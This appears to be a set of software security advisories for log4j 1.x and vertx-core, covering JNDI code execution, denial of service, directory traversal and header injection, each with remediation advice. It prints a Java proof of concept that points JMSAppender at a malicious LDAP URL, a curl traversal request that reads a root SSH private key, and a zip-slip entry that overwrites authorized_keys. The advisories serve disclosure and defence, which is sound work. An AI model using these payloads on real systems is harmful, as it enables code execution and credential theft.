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Overview

log4j:log4j is a 1.x branch of the Apache Log4j project.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

1. The application has enabled JMSAppender (or a class that extends JMSAppender)
2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Mail
• Atlassian Patch
• GitHub Comment
• GitHub Discussion

Overview

io.vertx:vertx-core is a tool-kit for building reactive applications on the JVM.

Affected versions of this package are vulnerable to Denial of Service (DoS). The WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory without a limit which could lead to memory exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.vertx:vertx-core to version 3.5.4 or higher.

References

• Eclipse Bugzilla Bug

• GitHub Commit

• GitHub Issue

Overview

io.vertx:vertx-core is a tool-kit for building reactive applications on the JVM.

Affected versions of this package are vulnerable to Directory Traversal. StaticHandler doesn't correctly processes backslashes on Windows Operating systems, allowing, escape the webroot folder to the current working directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade io.vertx:vertx-core to version 3.9.4 or higher.

References

• Bug Report
• GitHub Commit

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Lists

Overview

io.vertx:vertx-core is a tool-kit for building reactive applications on the JVM.

Affected versions of this package are vulnerable to HTTP Header Injection. The HttpServer response headers and HttpClient request headers do not check wether header name or value contain \r or \n chars. This allow unfiltered values to inject a new header in the client request or server response.

Remediation

Upgrade io.vertx:vertx-core to version 3.5.2 or higher.

References

• GitHub Issue
• GitHub Commit
• Eclipse Bug